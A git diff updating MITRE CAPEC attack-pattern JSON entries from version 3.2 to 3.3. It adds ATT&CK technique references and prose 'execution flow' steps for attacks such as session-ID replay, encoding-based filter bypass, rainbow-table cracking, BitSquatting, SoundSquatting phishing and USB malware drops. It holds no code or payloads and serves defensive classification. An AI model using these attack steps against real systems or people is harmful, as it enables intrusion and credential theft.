session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.", "external_references": [ @@ -67,6 +67,24 @@ "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Create Process with Token", + "url": "https://attack.mitre.org/wiki/Technique/T1134/002", + "external_id": "T1134.002" + }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Make and Impersonate Token", + "url": "https://attack.mitre.org/wiki/Technique/T1134/003", + "external_id": "T1134.003" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Web Session Cookie", + "url": "https://attack.mitre.org/wiki/Technique/T1550/004", + "external_id": "T1550.004" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -92,6 +110,7 @@ "OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. See also: CVE-1999-0428", "Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. See also: CVE-2002-0258" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker interacts with the target host and finds that session IDs are used to authenticate users.

  2. The attacker steals a session ID from a valid user.

Exploit

  1. The attacker tries to use the stolen session ID to gain access to the system with the privileges of the session ID's original owner.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target host uses session IDs to keep track of the users.", @@ -99,12 +118,12 @@ "The session IDs used by the target host are not well protected from session theft." ], "x_capec_skills_required": { - "Low": "If an attacker can steal a valid session ID, he can then try to be authenticated with that stolen session ID.", - "Medium": "More sophisticated attack can be used to hijack a valid session from a user and spoof a legitimate user by reusing his valid session ID." + "Low": "If an attacker can steal a valid session ID, they can then try to be authenticated with that stolen session ID.", + "Medium": "More sophisticated attack can be used to hijack a valid session from a user and spoof a legitimate user by reusing their valid session ID." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a15fddec-fd55-4c0b-8681-4e57ba5bc20d.json b/capec/attack-pattern/attack-pattern--a15fddec-fd55-4c0b-8681-4e57ba5bc20d.json index ced0a1f634..f981de5def 100644 --- a/capec/attack-pattern/attack-pattern--a15fddec-fd55-4c0b-8681-4e57ba5bc20d.json +++ b/capec/attack-pattern/attack-pattern--a15fddec-fd55-4c0b-8681-4e57ba5bc20d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9bbc3e47-bd34-419f-8026-173d3c0c3f05", + "id": "bundle--3535793c-086e-44e0-be67-1a49ec85fd8e", "spec_version": "2.0", "objects": [ { @@ -55,6 +55,7 @@ "Bypass Protection Mechanism" ] }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine if timestamps are present.: The adversary sends a probe packet to the remote host to identify if timestamps are present.

Experiment

  1. Record and analyze timestamp values.: If the remote host is using timestamp, obtain several timestamps, analyze them and compare them to known values.

    2. Techniques
    The adversary sends several requests and records the timestamp values.
    The adversary analyzes the timestamp values and determines an average increments per second in the timestamps for the target.
    The adversary compares this result to a database of known TCP timestamp increments for a possible match.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.The target OS must support the TCP timestamp option in order to obtain a fingerprint." @@ -64,7 +65,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a1af7c24-25cb-46e5-a27b-ed316e1f91ce.json b/capec/attack-pattern/attack-pattern--a1af7c24-25cb-46e5-a27b-ed316e1f91ce.json index fd67ec3cbd..d4a2eac8fd 100644 --- a/capec/attack-pattern/attack-pattern--a1af7c24-25cb-46e5-a27b-ed316e1f91ce.json +++ b/capec/attack-pattern/attack-pattern--a1af7c24-25cb-46e5-a27b-ed316e1f91ce.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d32be0cb-b9a9-426a-b2a5-c252fcd0064a", + "id": "bundle--91fddd9a-1a32-49bc-b71f-a12db5f66459", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a1af7c24-25cb-46e5-a27b-ed316e1f91ce", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Leverage Alternate Encoding", "description": "An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.", "external_references": [ @@ -152,17 +152,18 @@ "Microsoft Internet Explorer 5.01 SP4, 6, 6 SP1, and 7 does not properly handle unspecified \"encoding strings,\" which allows remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site, aka \"Post Encoding Information Disclosure Vulnerability.\" Related Vulnerabilities CVE-2010-0488", "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an attacker records all entry points to the application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various payloads using a variety of different types of encodings to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Try to use different encodings of content in order to bypass validation routines.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application's decoder accepts and interprets encoded characters. Data canonicalization, input filtering and validating is not done properly leaving the door open to harmful characters for the target host." ], "x_capec_skills_required": { "Low": "An attacker can inject different representation of a filtered character in a different encoding.", - "Medium": "An attacker may craft subtle encoding of input data by using the knowledge that he/she has gathered about the target host." + "Medium": "An attacker may craft subtle encoding of input data by using the knowledge that they have gathered about the target host." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a20a3cc9-4a6a-4376-a2b4-777ee9df2a34.json b/capec/attack-pattern/attack-pattern--a20a3cc9-4a6a-4376-a2b4-777ee9df2a34.json index fc2e247b03..07a01986b7 100644 --- a/capec/attack-pattern/attack-pattern--a20a3cc9-4a6a-4376-a2b4-777ee9df2a34.json +++ b/capec/attack-pattern/attack-pattern--a20a3cc9-4a6a-4376-a2b4-777ee9df2a34.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f50352e0-b780-4876-970d-e04186e4670c", + "id": "bundle--fc254c36-83e2-4fff-9c8a-67272cf19342", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a20a3cc9-4a6a-4376-a2b4-777ee9df2a34", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Detect Unpublicized Web Pages", "description": "An attacker searches a targeted web site for web pages that have not been publicized. Generally this involves mapping the published web site by spidering through all the published links and then attempt to access well-known debugging or logging pages, or otherwise predictable pages within the site tree. For example, if an attacker might be able to notice a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked. Using this, the attacker may be able to gain access to information that the targeted site did not intend to make public.", "external_references": [ @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4.json b/capec/attack-pattern/attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4.json index 0ebd3bc98f..bf485d9b13 100644 --- a/capec/attack-pattern/attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4.json +++ b/capec/attack-pattern/attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--19a0f275-5f6b-4c79-af26-6f3100e3b7ed", + "id": "bundle--6c5c7a41-bccf-4598-ba65-8bf8cda155fb", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f.json b/capec/attack-pattern/attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f.json index 9b0d27dca0..24c7971d34 100644 --- a/capec/attack-pattern/attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f.json +++ b/capec/attack-pattern/attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--87e2c87d-1b57-4ecf-a022-caa96b5c2ea2", + "id": "bundle--6d77bbd1-625c-473d-9507-5f73b24a73f9", "spec_version": "2.0", "objects": [ { @@ -39,6 +39,7 @@ "x_capec_example_instances": [ "\n An adversary sends an email, impersonating the popular banking website guaranteebanking.com, to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.\n However, the link the in email is guarantybanking.com instead of guaranteebanking.com, which the user clicks without fully reading the link.\n The user is directed to the adversary's website, which appears as if it is the legitimate guaranteebanking.com login page.\n The user thinks they are logging into their account, but have actually just given their guaranteebanking.com credentials to the adversary. The adversary can now use the user's legitimate guaranteebanking.com credentials to log into the user's account and steal any money which may be in the account.See also: SoundSquatting vulnerability allows an adversary to impersonate a trusted domain and leverages a user's confusion between the meaning of two words which are pronounced the same into visiting the malicious website to steal user credentials." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted, receives a consistent amount of traffic, and is a homophone.

    2. Techniques
    Research popular or high traffic websites which are also homophones.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the SoundSquatted URL.

    2. Techniques
    Register the SoundSquatted domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the SoundSquatted domain.

    2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the SoundSquatted domain.
    Assume that a user will unintentionally use the homophone in the URL, leading the user to the SoundSquatted domain.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets." @@ -48,7 +49,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a2eaa5c4-8d21-414a-9d49-08667f4c6427.json b/capec/attack-pattern/attack-pattern--a2eaa5c4-8d21-414a-9d49-08667f4c6427.json index bd1d8a9010..11db38d16e 100644 --- a/capec/attack-pattern/attack-pattern--a2eaa5c4-8d21-414a-9d49-08667f4c6427.json +++ b/capec/attack-pattern/attack-pattern--a2eaa5c4-8d21-414a-9d49-08667f4c6427.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d7af85f3-baa5-4223-8a73-b66299dc9fb7", + "id": "bundle--3646c8c4-4557-42f8-8259-1a9d28dfff2a", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571.json b/capec/attack-pattern/attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571.json index d325672f0f..d5b904a3f4 100644 --- a/capec/attack-pattern/attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571.json +++ b/capec/attack-pattern/attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bf4ed11e-ec35-42d0-96ab-d96f710449e2", + "id": "bundle--4adffbd3-2217-4f7e-9551-005a0a32da30", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Disable Security Software", "description": "An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Impair Defenses:Disable or Modify Tools", + "url": "https://attack.mitre.org/wiki/Technique/T1562/001", + "external_id": "T1562.001" } ], "object_marking_refs": [ @@ -41,7 +47,7 @@ ], "x_capec_status": "Usable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7.json b/capec/attack-pattern/attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7.json index 224786ec11..b0d6fe343b 100644 --- a/capec/attack-pattern/attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7.json +++ b/capec/attack-pattern/attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2344268d-5df0-40ca-9b28-5fea3da3d091", + "id": "bundle--056d665d-db2d-4c20-82a4-2262d8991540", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-04-26T00:00:00.000Z", - "modified": "2018-04-26T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Malicious Root Certificate", "description": "An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Subvert Trust Controls:Install Root Certificate", + "url": "https://attack.mitre.org/wiki/Technique/T1553/004", + "external_id": "T1553.004" } ], "object_marking_refs": [ @@ -33,7 +39,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be.json b/capec/attack-pattern/attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be.json index 50bb41d5b1..3247e64a16 100644 --- a/capec/attack-pattern/attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be.json +++ b/capec/attack-pattern/attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--68e5b999-cbb1-43fd-baaf-9fa850402af3", + "id": "bundle--ceed80b3-2d7d-4121-b6c7-68ba9d7720f6", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--a390cb72-b4de-4750-ae05-be556c89f4be", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Rainbow Table Password Cracking", - "description": "An attacker gets access to the database table where hashes of passwords are stored. He then uses a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system. A password rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constructed for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.", + "description": "An attacker gets access to the database table where hashes of passwords are stored. They then use a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system. A password rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constructed for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.", "external_references": [ { "source_name": "capec", @@ -39,8 +39,8 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" }, { "source_name": "cwe", @@ -51,6 +51,22 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/916.html", "external_id": "CWE-916" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Cracking", + "url": "https://attack.mitre.org/wiki/Technique/T1110/002", + "external_id": "T1110.002" } ], "object_marking_refs": [ @@ -71,6 +87,7 @@ "x_capec_example_instances": [ "BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables. See also: CVE-2006-1058" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

  2. Obtain password hashes: An attacker gets access to the database table storing hashes of passwords or potentially just discovers a hash of an individual password.

    3. Techniques
    Obtain copy of database table or flat file containing password hashes (by breaking access controls, using SQL Injection, etc.)
    Obtain password hashes from platform-specific storage locations (e.g. Windows registry)
    Sniff network packets containing password hashes.

Exploit

  1. Run rainbow table-based password cracking tool: An attacker finds or writes a password cracking tool that uses a previously computed rainbow table for the right hashing algorithm. It helps if the attacker knows what hashing algorithm was used by the password system.

    2. Techniques
    Run rainbow table-based password cracking tool such as Ophcrack or RainbowCrack. Reduction function must depend on application's/system's password policy.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "Hash of the original password is available to the attacker. For a better chance of success, an attacker should have more than one hash of the original password, and ideally the whole table.", @@ -85,7 +102,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a46718a5-0206-44da-a4f8-b1943f85188b.json b/capec/attack-pattern/attack-pattern--a46718a5-0206-44da-a4f8-b1943f85188b.json index 790bb71de9..5eb0f0e316 100644 --- a/capec/attack-pattern/attack-pattern--a46718a5-0206-44da-a4f8-b1943f85188b.json +++ b/capec/attack-pattern/attack-pattern--a46718a5-0206-44da-a4f8-b1943f85188b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e0b55c1c-7d71-4d6f-b8cb-174cc6e16025", + "id": "bundle--aa87f57e-c982-49fb-a7e8-270087cbbc6f", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62.json b/capec/attack-pattern/attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62.json new file mode 100644 index 0000000000..a19b839a68 --- /dev/null +++ b/capec/attack-pattern/attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62.json @@ -0,0 +1,58 @@ +{ + "type": "bundle", + "id": "bundle--27c7bcf9-076c-413d-b6ae-fa07053c595d", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Shoulder Surfing", + "description": "In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content \"over the victim's shoulder\", as implied by the name of this attack.", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/508.html", + "external_id": "CAPEC-508" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/200.html", + "external_id": "CWE-200" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/359.html", + "external_id": "CWE-359" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Confidentiality": [ + "Read Data" + ] + }, + "x_capec_example_instances": [ + "An adversary can capture a target's banking credentials and transfer money to adversary-controlled accounts.", + "An adversary observes the target's mobile device lock screen pattern/passcode and then steals the device, which can now be unlocked.", + "An insider could obtain database credentials for an application and sell the credentials on the black market.", + "An insider overhears a conversation pertaining to classified information, which could then be posted on an anonymous online forum." + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_prerequisites": [ + "The adversary typically requires physical proximity to the target's environment, in order to observe their screen or conversation. This may not be the case if the adversary is able to record the target and obtain sensitive information upon review of the recording." + ], + "x_capec_skills_required": { + "Low": "In most cases, an adversary can simply observe and retain the desired information." + }, + "x_capec_status": "Draft", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a506984b-0870-42d9-8bcd-0787f13b8c2e.json b/capec/attack-pattern/attack-pattern--a506984b-0870-42d9-8bcd-0787f13b8c2e.json index ef5266c334..9ac43472ad 100644 --- a/capec/attack-pattern/attack-pattern--a506984b-0870-42d9-8bcd-0787f13b8c2e.json +++ b/capec/attack-pattern/attack-pattern--a506984b-0870-42d9-8bcd-0787f13b8c2e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--70acac0e-8e65-40ff-b718-d88031d4db1e", + "id": "bundle--f777be53-634a-46d8-aaee-c247f6188050", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8.json b/capec/attack-pattern/attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8.json index 4ba6226ab9..9b2c489f5d 100644 --- a/capec/attack-pattern/attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8.json +++ b/capec/attack-pattern/attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d2c33382-445f-4a89-89b2-2c3b8b5b5d68", + "id": "bundle--a6e75b53-490d-43d7-b9e2-ac59119d9c55", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "USB Memory Attacks", "description": "An adversary loads malicious code onto a USB memory stick in order to infect any system which the device is plugged in to. USB drives present a significant security risk for business and government agencies. Given the ability to integrate wireless functionality into a USB stick, it is possible to design malware that not only steals confidential data, but sniffs the network, or monitor keystrokes, and then exfiltrates the stolen data off-site via a Wireless connection. Also, viruses can be transmitted via the USB interface without the specific use of a memory stick. The attacks from USB devices are often of such sophistication that experts conclude they are not the work of single individuals, but suggest state sponsorship. These attacks can be performed by an adversary with direct access to a target system or can be executed via means such as USB Drop Attacks.", "external_references": [ @@ -27,6 +27,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Detailed", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Target System: In certain cases, the adversary will explore an organization's network to determine a specific target machine to exploit based on the information it contains or privileges the main user may possess.

    2. Techniques
    If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.

Experiment

  1. Develop or Obtain malware and install on a USB device: The adversary develops or obtains the malicious software necessary to exploit the target system, which they then install on an external USB device such as a USB flash drive.

    2. Techniques
    The adversary can develop or obtain malware for to perform a variety of tasks such as sniffing network traffic or monitoring keystrokes.

Exploit

  1. Connect or deceive a user into connecting the infected USB device: Once the malware has been placed on an external USB device, the adversary connects the device to the target system or deceives a user into connecting the device to the target system such as in a USB Drop Attack.

    2. Techniques
    The adversary connects the USB device to a specified target system or performs a USB Drop Attack, hoping a user will find and connect the USB device on their own. Once the device is connected, the malware executes giving the adversary access to network traffic, credentials, etc.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "Some level of physical access to the device being attacked.", @@ -34,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2.json b/capec/attack-pattern/attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2.json index d6f90d6858..e28c4c5112 100644 --- a/capec/attack-pattern/attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2.json +++ b/capec/attack-pattern/attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--01e2d596-6d3b-4190-a4b0-a55b01b14e14", + "id": "bundle--0d806caa-0d12-40d1-b0c5-564c00070de0", "spec_version": "2.0", "objects": [ { @@ -33,6 +33,7 @@ "Other (Depending on the intention of the adversary, a successful BitSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.)" ] }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.

    2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the BitSquatted URL.

    2. Techniques
    Register the BitSquatted domain.

Exploit

  1. Wait for a user to visit the domain: Finally, the adversary simply waits for a user to be unintentionally directed to the BitSquatted domain.

    2. Techniques
    Simply wait for an error in memory to occur, redirecting the user to the malicious domain.
